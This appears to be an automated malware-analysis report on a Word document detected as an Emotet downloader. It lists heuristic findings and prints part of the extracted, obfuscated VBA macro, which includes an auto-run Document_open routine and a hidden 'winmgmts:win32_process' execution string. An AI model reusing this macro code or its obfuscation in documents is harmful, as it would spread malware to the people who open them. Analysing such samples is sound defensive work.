MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The presence of a CreateObject call and p-code execution further supports this. The ClamAV detection name 'Doc.Downloader.EmotetRed02226-9938639-0' strongly suggests the document's purpose is to download and execute a secondary payload. The obfuscated nature of the VBA code prevents a more detailed analysis of the specific download URL or execution method.
Heuristics 7
-
ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13547 bytes |
SHA-256: bc3543645d9a54fed58db421e713551f6314224855de4bee4744ebbaeb7efd26 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Ws5bwleh5s5"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Kneo67jow6ytlj1f1_.Szjwowgqrbb
End Sub
Attribute VB_Name = "Kneo67jow6ytlj1f1_"
Attribute VB_Base = "0{043D5AE2-6876-4895-AE8C-29D144134341}{27FF26C0-21B7-4193-A6D0-9D3F122FE1F2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Szjwowgqrbb()
On Error Resume Next
Select Case tjbJ6i4
Case 60
NPsJ = WhdMAJT
fAoV6e6xV = Sqr(EEV)
Case 9639
RIL = Log(242115376)
VwV = Sgn(RRvoxs5 - DzCXc3U1)
End Select
myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
P806izx976z63c9kk = 100
On Error Resume Next
Select Case tjbJ6i4
Case 60
NPsJ = WhdMAJT
fAoV6e6xV = Sqr(EEV)
Case 9639
RIL = Log(242115376)
VwV = Sgn(RRvoxs5 - DzCXc3U1)
End Select
myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
Kizwqkau2u7n = ChrW(P806izx976z63c9kk + (yyyy + 5 + bbbbb + 10))
On Error Resume Next
Select Case tjbJ6i4
Case 60
NPsJ = WhdMAJT
fAoV6e6xV = Sqr(EEV)
Case 9639
RIL = Log(242115376)
VwV = Sgn(RRvoxs5 - DzCXc3U1)
End Select
myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
C0fvkybdevaw8lgp = "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0si2n3(((((h 2289(7 2379((0snm2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sgm2n3(((((h 2289(7 2379((0st2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s" + Kizwqkau2u7n + "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s:2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0sin2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s32n3(((((h 2289(7 2379((0s22n3(((((h 2289(7 2379((0s_2n3(((((h 2289(7 2379((0s" + Kneo67jow6ytlj1f1_.Ks52p0m44qik + "2n3(((((h 2289(7 2379((0sro2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sce2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0s"
On Error Resume Next
Select Case tjbJ6i4
Case 60
NPsJ = WhdMAJT
fAoV6e6xV = Sqr(EEV)
Case 9639
RIL = Log(242115376)
VwV = Sgn(RRvoxs5 - DzCXc3U1)
End Select
myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
Yknm0mkss6sr785 = Mch5fyyfmvtk7x(C0fvkybdevaw8lgp)
On Error Resume Next
Select Case tjbJ6i4
Case 60
NPsJ = WhdMAJT
fAoV6e6xV = Sqr(EEV)
Case 9639
RIL = Log(242115376)
VwV = Sgn(RRvoxs5 - DzCXc3U1)
End Select
myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
On Error Resume Next
Select Case tjbJ6i4
Case 60
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.